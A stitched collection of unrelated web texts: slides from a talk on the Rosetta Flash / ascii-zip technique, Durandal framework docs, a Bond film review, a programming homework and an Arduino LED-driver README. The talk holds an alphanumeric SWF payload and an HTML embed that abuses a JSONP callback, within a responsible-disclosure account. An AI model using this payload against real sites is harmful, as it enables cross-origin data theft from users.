Table definition = list of code lengths ordered by symbols
At most 2*26+10 = 62 different byte values in a block.
Important detail: bit order is reversed in deflate! → rev([0-9A-Za-z])
Example: compressing "\x01\x03\x08" → "8xdo"
| Sym.↓ | Code | Rev. | Len. |
|---|---|---|---|
| 0x00 | - | 0 | |
| 0x01 | 00011100 | 8 | 8 |
| 0x02 | 00011101 | 8 | |
| 0x03 | 00011110 | x | 8 |
| 0x04 | 00011111 | 8 | |
| 0x05 | 00100000 | 8 | |
| 0x06 | 00100001 | 8 | |
| 0x07 | - | 0 | |
| 0x08 | 00100010 | D | 8 |
| Sym.↓ | Code | Rev. | Len. |
|---|---|---|---|
| 0x09 | 000000 | 6 | |
| ... | 6 | ||
| 0x0F | 000110 | 6 | |
| ... | 0 | ||
| 0x2D | 00100011 | 8 | |
| ... | 8 | ||
| 0x100 | 11110110 | o | 8 |
| ... | 8 | ||
| ... | 0 |
Actually used code. Unallocated. Padding.
These make the first 8 bit code valid ASCII (00011100) by allocating every lower value (remember: shorter codes are always lower).
Allocate the last codes until 11111111 to make the table complete.
Input = Table #1 definition values = lot of 0, 6, 8
| Sym.↓ | Code | Len. |
|---|---|---|
| 0x00 | 1000 | 4 |
| ... | ||
| 0x06 | 1010 | 4 |
| ... | ||
| 0x08 | 1011 | 4 |
| ... |
Fill the holes to make the whole table ASCII and complete.
Every combination is ASCII if starting with -2 bit offset!
Table #1 def. needs to end at 0 bit offset: need an end sequence.
In the end, two modes:
1. can compress anything, large output (just described)
2. can compress most inputs, optimized output
Published the compressor as ascii-zip on GitHub.
See the code for the missing details, optimizations.
import flash.external.ExternalInterface;
import flash.utils.ByteArray;
import flash.display.Loader;
private var objectID, slice = new ByteArray();
for (objectID = ExternalInterface.objectID; objectID;
objectID = objectID.slice(3)) {
slice.writeByte(objectID.slice(0, 3));
}
(new Loader()).loadBytes(slice);
CWSA7000hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtWGDtGDGwwwDDGDG0Gt0GDGwtGDG0sDttwwwDG33w0sDDt03G33333sDfBDIHTOHHoKHBhHZLxHHHrlbhHHtHRHXXHHHdHDuYAENjmENDaqfvjmENyDjmENJYYfmLzMENYQfaFQENYnfVNx1D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtwwwEDG3w0sG0stDDGtw0GDDwwwt3wt333333w03333gFPaEIQSNvTnmAqICTcsacSCtiUAcYVsSyUcliUAcYVIkSICMAULiUAcYVq9D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7CiudIbEAtwwuG333swG033GDtpDtDtDGDD33333s03333sdFPOwWgotOOOOOOOwodFhfhFtFLFlHLTXXTXxT8D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUU7kiudIbEAt33swwEGDDtDG0GGDDwwwDt0wDGwwGG0sDDt033333GDt333swwv3sFPDtdtthLtDdthTthxthXXHHHHhHHHHHHhHXhHHHHXhXhXHXhHhiOUOsxCxHwWhsXKTgtSXhsDCDHshghSLhmHHhDXHhEOUoZQHHshghoeXehMdXwSlhsXkhehMdhwSXhXmHH5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3SUUnUUUwGNqdIbe133333333333333333sUUef03gfzA8880HUAH
<object
type="application/x-shockwave-flash"
data="http://good.example.com/api?callback=CWSA7000h..."
name="06708708300906601300000012021815708607511102...">
<param name="AllowScriptAccess" value="always">
</object>
No, Prezi fixed the CSRF token bug...
What about other websites?
Vulnerable:
The Internet or Flash?
There's a chance that Adobe won't fix it, so The Internet.
Reporting and publishing ascii-zip on 2014/04/29
Waiting for 2 weeks
IBB: It probably qualifies for a bounty. Let's coordinate the notofication of the affected sites.
Me: I think we should try to contact Adobe first. Will you please contact them? You should have contact to them since they host their Bug Bounty program at IBB.
Waiting for 2 months
Michele Spagnuolo from Google publishes Rosetta Flash on 2014/07/08
Michele notices ascii-zip without knowing what was it made for
Implements an exploitation tool based on it and Alok's idea.
Reports the vulnerability to Adobe (through Internet Bug Bounty!).
Adobe pushes out a fix.
Publishes the blog post on Rosetta Flash.
The bug gets huge media attention.
Released on 2014/07/8
Reverse engineered by Googlers
Play SWF file only if:
at least one JSONP-disallowed character in the first 4096 bytes
Bypass: the last character of the checksum can be forced to be '('
Released on 2014/08/15
Play SWF file only if:
it has application/x-shockwave-flash content-type
or at least one character above 0x7f in the first 4096 bytes
Both me and Michele got a $3000 bounty from IBB.
Adobe fixed the bug.
The world has been saved again :)
Nominated for Best Server-Side Bug Pwnie Award
Don't share code (or parts of it) publicly too early.
Be proactive after reporting. Ping the right person when stuck.
When reporting to programs like IBB, contact the vendor directly too.
Bug Bounty Programs: please don't let anyone wait for months.


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Key Points
- The view locator, view model binder, composition engine and activator all look for callbacks related to their individual functions.
- Composition involves the view locator, the view model binder and it's own DOM manipulation.
- Activator callbacks are not executed unless an activator is present or
activate:true
is set on the compose binding.
There are various services which play a role in the construction of a screen or of part of a screen. Each of these services looks for callbacks on your objects that pertain to its own unique functionality. Below is a list of the services which may be involved and an explanation of the available callbacks in each context.
When the composition engine (or you) calls viewLocator.locateViewForObject()
it goes through a process of attempting to find the correct view for that object.
Usually, this is accomplished through convention. But, there is a hook which your object can implement to manually return a view.
To do so, add a function called getView()
to your object. This function can either return a view id, used by the infrastructure to lookup the view,
or it can return a DOMElement, allowing your object to manually construct it's view for absolute control.
Once a view is obtained, the composition engine will attempt to bind it to the associated object.
To do this, it uses the view model binder, which looks for two possible hooks on your object. It calls beforeBind()
just before the databinding happens.
After databinding is complete, it calls afterBind()
. In both cases it passes the view as an argument.
After databinding is complete, the composition module then does its part to compose the bound view into the DOM.
It may or may not use a transition as part of this process. Either way, once the view is attached to its parent's DOM node, it will check your object for a viewAttached()
callback.
This will be called with the view as its argument.
The hooks described above are checked and run as part of every call to compose whether through the API or the binding handler. There are another set of hooks cenetered less around the view composition aspects of Durandal and more around screen and component lifecycles. These hooks are only checked/run when an activator is present. When is an activator present?
app.setRoot
an activator is used on your root module.activate:true
on a compose binding, an activator will be used during composition.Note: Cases 3 and 4 are a bit different as they only enforce canActivate and activate callbacks; not the deactivation lifecycle. To enable that, you must use a full activator yourself (cases 1 or 2).
canDeactivate()
hook, then it is called. If this returns false, activation stops.canActivate()
hook.
If present, it will be called. If it returns false, activation stops here.deactivate()
function, if present.activate()
function, we call that and the process finishes until a new activation begins.You can read much more about this in the view model module's docs. Remember that all these hooks can return promises and all of them are optional
Below is a table which shows the order of callbacks and their sources, assuming all necessary components are involved.
| Callback Name | Durandal Source Module | Purpose |
|---|---|---|
getView() |
View Locator | Enables the new object to return a custom view. |
canDeactivate() |
View Model | Allows the previous object to cancel deactivation. |
canActivate() |
View Model | Allows the new object to cancel activation. |
deactivate() |
View Model | Allows the previous object to execute custom deactivation logic. |
activate() |
View Model | Allows the new object to execute custom activation logic. |
beforeBind() |
View Model Binder | Notifies the new object immediately before databinding occurs. |
afterBind() |
View Model Binder | Notifies the new object immediately after databinding occurs. |
viewAttached() |
Composition | Notifies the new object when its view is attached to its parent DOM node. |
Remember: Rows highlighted green will always execute when composing. Those in yellow require the presence of an activator.


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ON HER MAJESTY'S SECRET SERVICE A film review by Steve Rhodes Copyright 1998 Steve Rhodes
RATING (0 TO ****): **
When Sean Connery decided to take a rest from playing James Bond, new film actor George Lazenby was chosen as his replacement. Lazenby won the Golden Globe in 1969 for the most promising male newcomer for his role in ON HER MAJESTY'S SECRET SERVICE.
Lazenby makes the mistake of trying to imitate Connery rather than giving his own interpretation to the role, and as we all know, imitations just make us yearn for the genuine article. Lazenby, an exceedingly plain looking actor devoid of much personality, lacks Connery's handsome face as well as his suave demeanor. He went on to appear in the television soap opera "General Hospital" and in many minor films. But, thankfully, he never again attempted the travesty of acting the Bond role.
(Bond films titillate with hints of nudity and sex while showing neither. ON HER MAJESTY'S SECRET SERVICE skirts the no nudity policy by having naked women dance during the opening credits, but they appear only in silhouette.)
When a beautiful women named Tracy (Diana Rigg) runs away from James Bond in the story's opening sequence, it causes him to remark that, "This never happened to the other fella." The line pokes fun at the switch but also serves to remind us that our old favorite is gone. (Connery will be back two more times as James Bond, something we didn't know or even suspect when this movie first played.)
The intelligent and sexy Diana Rigg, rightfully famous for her role as Emma Peel in the TV series "The Avengers," seems miscast as a Bond beauty. She's so much smarter than Lazenby than she seems out of place. (I once had the delight of spending time in a small room with Diana Rigg as we waited to see a private doctor in Harley Street in London.
When Lazenby, as Bond, quits in a huff early on in the film, one feels like applauding in the vain hope that Connery will return forthwith -- the applause being motivated as much by wanting to dispose of Lazenby and his lackluster performance as by getting our old hero back.
The story's plot reeks of triviality. SPECTRE's #1, played this time without much energy by Telly Savalas rather than the much better Donald Pleasence, runs an exclusive allergy institute high atop a private, snow-covered mountain. Richard Maibaum's script doesn't tell us much about SPECTRE's plans until the last third of the movie. Eventually, we learn that the dastardly deed in the works is the unleashing of a deadly disease throughout the world. That is, unless SPECTRE gets a huge payoff.
One of the secret advance technologies Bond uses is a small photocopying machine of the size that most secretaries have in their offices today. One day's imaginary wonders rapidly become tomorrow's commonplace tools. We're still waiting, however, for THUNDERBALL-style personal jetpacks to be available at Sharper Image.
The show has several technical problems. As Bond and Tracy race one night down the mountain on skies with a band of men with guns skiing furiously after them, the lighting is bizarre. Scenes clearly shot during the day are interlaced with ones shot at night.
My son was surprised to see Bond wearing a dress. After arguing unsuccessfully with him that it was a actually a kilt, I gave up and allowed as how it was a dress afterall. A rose by any other name, etc.
"I hope I can live up to your high standards," Bond says at one point. Well, Lazenby couldn't and didn't.
ON HER MAJESTY'S SECRET SERVICE runs way too long at 2:20. It is rated PG for violence and sexual innuendo and would be fine for kids around nine and up.
My son Jeffrey, almost 9, liked this movie but still likes THUNDERBALL the best. He did not like Lazenby at all, and he thought the new actor playing SPECTRE's #1 was not creepy enough. He has seen the first 6 Bond films now, and he likes this one least of all.
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| CS 341 - Survey of Programming Languages
Homework #12 |
Due: Tuesday 11/28 at the beginning of class #25
Note: This work is to be done in pairs. Work will be reviewed in class on 12/1. Although you may divide the work, both team members should be able to present/describe their partner's work upon request.
Create an object-oriented Python implementation of Pig according to this specification with a Keep Pace and End Race computer player rather than a Hold at 20 computer player. Since Python allows multiple inheritance, one would use an abstract base class (ABC) instead of an interface.
Keep Pace and End Race policy: Let i be the player's score, j be the opponent's score, and k be the current turn total. If i >= 71 or j >= 71, roll for the goal. Otherwise, hold at 21 + round((j - i) / 8). Call your computer player class KPERPigPlayer.
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Arduino Library for TI TLC59116 LED-driver
This provides a high level interface:
- Makes it easier to get started.
- Discovers the devices.
- Provides useful defaults.
- Provides most features.
- Provides operations at the feature level (like "turn on channel 4").
- Manages the subfields and state of the device registers.
- i.e.: only update the bits to turn channel 5 on, without stomping the other channels.
- So you don't have to, which minimizes bugs.
- Optimizes some communications with the device.
- Allows the friendlier "." notation, so you don't have to remember when to use "->".
- Provides a low-level interface if you don't want the state managed.
Requirements
- An Arduino that is I2C capable, and works with the Wire library.
- Arduino IDE version 1.0.5, or 1.0.4. There is a bug that causes a problem in 1.0.6.
- At least one TLC59116, wired up and hooked to the default I2C pins of your Arduino.
- Something on the outputs, otherwise it's real boring.
I have not tested this with any Makefile setups. Please send me info on how that works for you.
Installation
- Download the library zip file.
- Add the library to the Arduino IDE
- (cf. the official instructions)
- For Arduino IDE 1.0.5:
Sketch -> Import Library -> Add Library
- Then select the downloaded
arduino_TLC59116.zip
.
- For earlier versions, follow the "Manual" section of http://www.arduino.cc/en/guide/libraries.
Getting Started
- Copy the code from
- Try the examples.
- "examples/basicusagesingle" is the same code as show in the "Usage" section of TLC59116 Class
- Open it.
- Do the Upload thing.
- Oooh. Blinky light.
- "examples/test_features" wants you to interact with the serial-console.
- Type single-letter commands into the top box, and click send. Try "?".
- It has a bunch of behaviors, useful for testing the TLC59116 and your wiring prowess.
- "examples/allfeatures" is the source of most of the examples in the documenation.
- It compiles.
- It probably is not useful to actually run.
- But, you can copy & paste from it.
- "examples/tlc59116blink" is what I use to do quick tests of wired-up devices.
- Read it's comments!
- Browse the TLC59116 Class documentation page:
- The "Protocol" section describes the order you have to do things.
- Further down, the Public Methods section has groups of operations (like "Digital" and "PWM").
- (you probably want to ignore that first list of methods)
- There's usually a short description of each method.
- For example-code, explanations, and more details, click on the method-name.
Documentation
HTML documentation, with examples, and explanation:
Developing
- Everything should be in the github repository.
- Clone it to mess around. Fork it to keep track of the messing around.
- I'm happy to consider pull-requests, especially for bug-fixes, documentation issues, and missing functions.
- Please maintain a high-level of documentation.
- Requirements for developing:
- Source control is by git, with a repository on github.
- Documentation is generated by doxygen:
doxygen Doxyfile
- The .zip files are constructed by gnu-make.
- Several other files are constructed by gnu-make (e.g.
README.html
)
- The default
make
target constructs everything.
- It tries to be tolerant of missing tools.
- It touches up a few files to insert the git-branch as the version.
Arch overview:
unmanaged constants etc.
manager high level for:
TLC shadows & highlevel & opt
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